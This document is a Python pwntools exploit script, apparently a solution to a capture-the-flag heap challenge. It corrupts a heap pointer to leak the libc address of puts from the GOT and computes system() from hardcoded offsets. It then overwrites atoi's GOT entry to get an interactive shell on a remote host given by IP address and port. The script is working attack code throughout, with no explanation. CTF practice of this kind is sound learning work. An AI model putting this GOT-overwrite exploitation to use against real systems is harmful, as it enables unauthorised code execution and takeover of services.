from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = logging.DEBUG
elf = context.binary = ELF("./communistheap.out")
ATOI_GOT = 0x403750
PUTS_GOT = 0x403720

def steal(src, dest, amount):
    p.recvuntil("?")
    p.sendline("3")
    p.recvuntil("?")
    p.sendline(str(src))
    p.recvuntil("?")
    p.sendline(str(dest))
    p.recvuntil("?")
    p.sendline(str(amount))


def allocate(size, content):
    p.recvuntil("?")
    p.sendline("1")
    p.recvuntil("?")
    p.sendline(str(size))
    p.recvuntil("?")
    p.sendline(content)

def free(index):
    p.recvuntil("?")
    p.sendline("2")
    p.recvuntil("?")
    p.sendline(str(index))

def edit(index, content):
    p.recvuntil("?")
    p.sendline("4")
    p.recvuntil("?")
    p.sendline(str(index))
    p.recvuntil("?")
    p.sendline(content)

def show(index):
    p.recvuntil("?")
    p.sendline("5")
    p.recvuntil("?")
    p.sendline(str(index))

def do_local():
	return process(elf.path)

def do_debug():
	return gdb.debug(elf.path, gdbscript = """
						break show_menu
""")
def do_remote():
	return remote("34.118.43.143", 3011)
p = do_remote()

print(p.recvuntil("?"))

allocate(0x20, "PWNED")
allocate(8, "AAAAAA")
allocate(0x10, "BBBBBB")
allocate(0x10, "CCCCCC")
allocate(0x100, "DDDDDD")

steal(4, 1, 0x9F)

edit(1, b"a" * 0x8 + p64(PUTS_GOT - 0x10))
show(3)

p.recvline()

strlen_leak = p.recvline()[:-1]
print(strlen_leak, len(strlen_leak))
strlen_leak += 2*b'\x00'

strlen_address = u64(strlen_leak)
print("puts address: %x" % strlen_address)

system_address = strlen_address - 0x6f6a0 + 0x453a0
# system_address = strlen_address - 0x875A0 + 0x55410

edit(1, b"a" * 0x8 + p64(ATOI_GOT - 0x10))
edit(3, p64(system_address))

p.interactive()


